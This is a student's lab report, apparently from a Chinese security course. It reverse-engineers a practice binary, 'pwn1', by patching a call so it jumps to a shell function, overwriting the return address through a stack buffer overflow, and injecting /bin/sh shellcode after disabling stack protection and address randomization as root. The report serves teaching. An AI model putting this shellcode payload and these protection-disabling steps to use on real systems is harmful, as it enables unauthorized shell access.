zoukankan      html  css  js  c++  java
  • 20175328李欣颖 Exp1 PC平台逆向破解


    一、实验内容

    需要回答的问题在第二部分里面

    1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:0x90
    空指令;运行该指令时单片机什么都不做,但是会占用一个指令的时间;当指令间需要有延时时,可以插入“NOP”指令。
    JNE:0x75
    条件转移指令;ZF标志位为0时跳转。
    JE:0x74
    条件转移指令;ZF标志位为1时跳转。
    JMP:0xEB(Jmp short) 0xE9(Jmp near) 0xFF(Jmp word)0xEA(Jmp far)
    无条件跳转指令;可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
    CMP:
    0x38(reg8/mem8,reg8)
    0x39(reg16/mem16,reg16)
    0x3A(reg8,reg8/mem8)
    0x3B(reg16,reg16/mem16)
    0x3C(al,immed8)
    0x3D(ax,immed16)
    用于(通过两数相减的方法)比较两个数的大小,同时会更新标志寄存器。

    2、掌握反汇编与十六进制编程器

    (1)反汇编
    通过反汇编查找含有跳转指令的汇编行,修改该部分的机器代码使之跳转至getShell函数(其中getShell等函数地址也通过反汇编查询)。
    指令为objdump -d xxx。
    (2)十六进制编辑器
    用来以16进制视图进行文本编辑的编辑工具软件。
    一般用vim+xxd。

    3、能正确修改机器指令改变程序执行流程

    (1)从实验指导书的码云连接中下载pwn1.zip并进行解压,然后保存至虚拟机。
    (2)用objdump -d pwn1将pwn1反汇编,得到以下代码:

    (3)在main函数中,发现80484b5: e8 d7 ff ff ff call 8048491 < foo >这条汇编指令,调用位于地址8048491处的foo函数,e8表示“call”,即跳转。

    如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。
    修改的具体步骤如下:

    • vi pwn1进入命令模式
    • 输入:%!xxd将显示模式切换为十六进制
    • 在底行模式输入/e8d7定位需要修改的地方,并确认

    • 进入插入模式,修改d7为c3
    • 输入:%!xxd -r将十六进制转换为原格式
    • 使用:wq保存并退出

    (4)修改结束后,再次反汇编进行查看,可以调用getShell:

    (5)运行修改后代码pwn2:

    4、能正确构造payload进行bof攻击

    (1)使用objdump -d pwn1 | more对pwn1进行反汇编(全屏幕方式按页显示反汇编的内容)

    (2)pwn1正常运行是调用函数foo,这个函数存在Buffer overflow漏洞。接下来我们的任务是覆盖返回地址。
    (3)根据汇编指令lea -0x1c(%ebp),%eax,我们可以知道系统只预留了28字节的缓冲区,超出部分会造成溢出,覆盖返回地址。
    (4)进入gdb,尝试输入字符串1111111122222222333333334444444412345678,估计 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。

    根据EIP的值发现溢出的值确实为1234(ASCII码为32 33 34 35),不过次序为倒序。那么如果我们想让程序不去调用函数foo,而是调用函数getShell,那只要把1234这四个字符替换为 getShell 内存地址的倒序,输给pwn1,pwn1就会运行getShell了。
    (5)根据上一个实验内容的pwn1的反汇编截图,找到getShell的内存地址为0804847d,把1234替换为0804847d的倒序,即x7dx84x04x08

    5、注入Shellcode并执行

    (1)准备工作(用apt-get install execstack安装execstack要)

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    

    (2)选择retaddr+nops+shellcode结构来攻击buf

    perl -e 'print
    "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"'
    > input_shellcode
    

    (3)打开两个终端。终端1注入攻击buf,终端2查看pwn1的进程号

    (4)用gdb调试该进程,并通过设置断点,来查看注入buf的内存地址

    (5)使用break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址

    (6)使用x/16x 0xffffd33c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。

    (7)将之前的x4x3x2x1改为这个地址,然后再次执行程序

    二、实验总结

    1、遇到的问题及解决方法

    • 问题:在用./pwn2执行pwn2时出现 bash: ./pwn1:没有那个文件或目录的提示,但是用ls命令又能看到存在pwn1文件
    • 解决方法:在百度搜了一些资料之后,发现是因为我安装的64位kali没有32位运行库。
      参考:https://www.cnblogs.com/zl20154312/p/8511455.html

    2、实验收获与感想

    看到内容有点多的时候就开始想拖了,不过在看了老师给的实验指导书以及一些学长学姐的参考博客之后,还算进展的比较顺利,虽然中间也遇到了一些问题,不过搜搜百度还是可以解决的。
    做完实验之后,感觉汇编的用到的地方很多,感觉得回头再翻翻汇编书。

    3、什么是漏洞?漏洞有什么危害?

    • 漏洞:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    • 漏洞的危害:漏洞的存在,很容易导致黑客的侵入及病毒的驻留,会导致数据丢失和篡改、隐私泄露乃至金钱上的损失,如:网站因漏洞被入侵,网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。目前数码产品发展,漏洞从过去以电脑为载体延伸至数码平台,如手机二维码漏洞,安卓应用程序漏洞等等
  • 相关阅读:
    联合省选 2021 B 卷题解
    近期省选题思路整理
    Codeforces 1492E Almost Fault-Tolerant Database
    Codeforces 1486F Pairs of Paths
    给nginx全自动添加ssl证书以及自动续签
    宝塔面板如何用uwsgi与nginx快速部署Django项目
    solidity代币实例详解
    metaMask官方文档
    PostgreSQL windows创建用户
    odoo centos 安装odoo14
  • 原文地址:https://www.cnblogs.com/seven-moon/p/12549394.html
Copyright © 2011-2022 走看看